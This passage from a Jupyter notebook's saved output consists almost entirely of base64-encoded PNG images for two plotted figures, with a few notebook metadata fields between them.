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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": { "tags": [] }, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAuMAAABACAYAAACwannNAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+j8jraAAAgAElEQVR4nOydeVhTZ9r/vwkJSSABZAdZwiq7ggoo4oJY64IL1bFabbXW0eq0TmuXcdp5305tO9PVUV8ttrbWWm3rLioqVVQQWURA9n0nbAlkAbLn+f3hcH4yggtJcOZ987kurtrk5NzPSc55nvu5V5pYLCYwYcKECRMmTJgwYcLEqEN/2gMwYcKECRMmTJgwYeL/KiZl3IQJEyZMmDBhwoSJp4RJGTdhwoQJEyZMmDBh4ilhUsZNmDBhwoQJEyZMmHhKmJRxEyZMmDBhwoQJEyaeEiZl3IQJEyZMmDBhwoSJpwTjYW9aW1uP1jhMmDBhwoQJEyZMmPhfi06ng0wme+B1k2XchAkTJkyYMGHChAkjo9Pphnz9oZZxE/9+1NTUIC8vD729vaitrUVOTg4AYPHixQgKCkJcXBzMzMye8igNx/Hjx5GUlITPPvsMYWFhYDKZoz4GoVCIzMxMXLx4EbW1tXBxccEHH3wAb2/vUR+LCRMmTDwKmUyGt99+G9XV1ZgyZQr+8pe/gMViPe1hmTBhYhhMyvh/EDk5Ofj555+RnZ0NpVKJ7u5uNDc3AwA6OzsRHByMkJAQODk5gU7/z3d6EEJw8OBBXLt2DT09PcPuKI1NXl4efvrpJ6Snp0MikcDV1RXnzp3D1q1bn8p4/tMhhEChUEAkEuHmzZsAgKlTp8Ld3R00Gu0pj+7/Do2NjSgsLERhYSHa29uh1WoBALa2tnB2dkZAQAAiIyNha2trcNkZGRlITU2FVqvF3LlzMWPGDIPL+L+KVCrFr7/+itOnT0MoFCI4OHhU5dfV1cHNzQ1SqRT